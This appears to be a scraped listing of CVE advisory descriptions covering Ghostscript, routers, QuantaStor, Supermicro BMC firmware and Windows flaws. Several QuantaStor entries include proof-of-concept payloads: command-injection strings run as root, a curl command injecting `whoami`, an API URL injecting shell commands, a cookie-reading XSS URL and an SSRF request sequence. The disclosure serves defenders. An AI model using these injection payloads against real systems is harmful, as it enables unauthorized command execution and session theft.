| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| In Artifex Ghostscript through 10.05.1, ocr_begin_page in devices/gdevpdfocr.c has an integer overflow that leads to a heap-based buffer overflow in ocr_line8. |
| A security flaw has been discovered in B-Link BL-AC2100 up to 1.0.3. Affected by this issue is the function delshrpath of the file /goform/set_delshrpath_cfg of the component Web Management Interface. The manipulation of the argument Type results in stack-based buffer overflow. The attack may be performed from remote. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way. |
| A weakness has been identified in Ruijie 6000-E10 up to 2.4.3.6-20171117. This affects an unknown part of the file /view/vpn/autovpn/sub_commit.php. This manipulation of the argument key causes os command injection. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be exploited. The vendor was contacted early about this disclosure but did not respond in any way. |
| In Artifex GhostXPS before 10.06.0, there is a stack-based buffer overflow in xps_unpredict_tiff in xpstiff.c because the samplesperpixel value is not checked. |
| Artifex Ghostscript through 10.05.1 has a stack-based buffer overflow in pdfmark_coerce_dest in devices/vector/gdevpdfm.c via a large size value. |
| An authenticated attacker is able to create alerts that trigger a stored XSS attack.
POC
* go to the alert manager
* open the ITSM tab
* add a webhook with the URL/service token value
' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters)
* click add
* click apply
* create a test alert
* The test alert will run the command
“id | tee /tmp/ttttttddddssss” as root.
* after the test alert inspect
/tmp/ttttttddddssss it'll contain the ids of the root user. |
| An authenticated attacker is able to create alerts that trigger a stored XSS attack.
POC
* go to the alert manager
* open the ITSM tab
* add a webhook with the URL/service token value
' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters)
* click add
* click apply
* create a test alert
* The test alert will run the command
“id | tee /tmp/ttttttddddssss” as root.
* after the test alert inspect
/tmp/ttttttddddssss it'll contain the ids of the root user. |
| Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`' |
| An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.
POC
http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al |
| An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)> |
| An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.
POC
Step 1: Prepare the SSRF with a request like this:
GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0
Step 2: Trigger this alert with this request
GET /qstorapi/alertRaise?title=test&message=test&severity=1
HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 1
The post request received by <TARGET> looks like this:
{
### Python FLASK stuff ####
'endpoint': 'index',
'method': 'POST',
'cookies': ImmutableMultiDict([]),
### END Python FLASK stuff ####
'data': b'{
"attachments": [
{
"fallback": "[122] test / test.",
"color": "#aa2222",
"title": "[122] test",
"text": "test",
"fields": [
{
"title": "Alert Severity",
"value": "CRITICAL",
"short": false
}, {
"title": "Appliance",
"value": "quantastor (https://<HOSTNAME>)",
"short": true
}, {
"title": "System / Driver / Kernel Ver",
"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",
"short": false
}, {
"title": "System Startup",
"value": "Fri Aug 6 16-02-55 2021",
"short": true
}, {
"title": "SSID",
"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",
"short": true
},
],
"footer": "QuantaStor Call-home Alert",
"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",
"ts": 1628461774
}
],
"mrkdwn":true
}',
#### FLASK REQUEST STUFF #####
'headers': {
'Host': '<redacted>',
'User-Agent': 'curl/7.58.0',
'Accept': '*/*',
'Content-Type': 'application/json',
'Content-Length': '790'
},
'args': ImmutableMultiDict([]),
'form': ImmutableMultiDict([]),
'remote_addr': '217.103.63.173',
'path': '/payload/58',
'whois_ip': 'TNF-AS, NL'
}
#### END FLASK REQUEST STUFF ##### |
| A vulnerability was detected in Campcodes Complete Online Beauty Parlor Management System 1.0. The affected element is an unknown function of the file /admin/admin-profile.php. The manipulation of the argument adminname/email results in sql injection. The attack may be launched remotely. The exploit is now public and may be used. |
| A vulnerability was determined in SourceCodester Pet Grooming Management Software 1.0. This vulnerability affects unknown code of the file /admin/operation/paid.php. This manipulation of the argument inv_no/insta_amt causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. |
| This CVE ID has been rejected or withdrawn by its CVE Numbering Authority. |
| A crafted system call argument can cause memory corruption. |
| There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X13SEM-F . An attacker can update the system firmware with a specially crafted image. |
| There is a vulnerability in the Supermicro BMC firmware validation logic at Supermicro MBD-X12STW . An attacker can update the system firmware with a specially crafted image. |
| A deserialization vulnerability in the License Servlet of Fortra's GoAnywhere MFT allows an actor with a validly forged license response signature to deserialize an arbitrary actor-controlled object, possibly leading to command injection. |
| Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally. |
| Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally. |
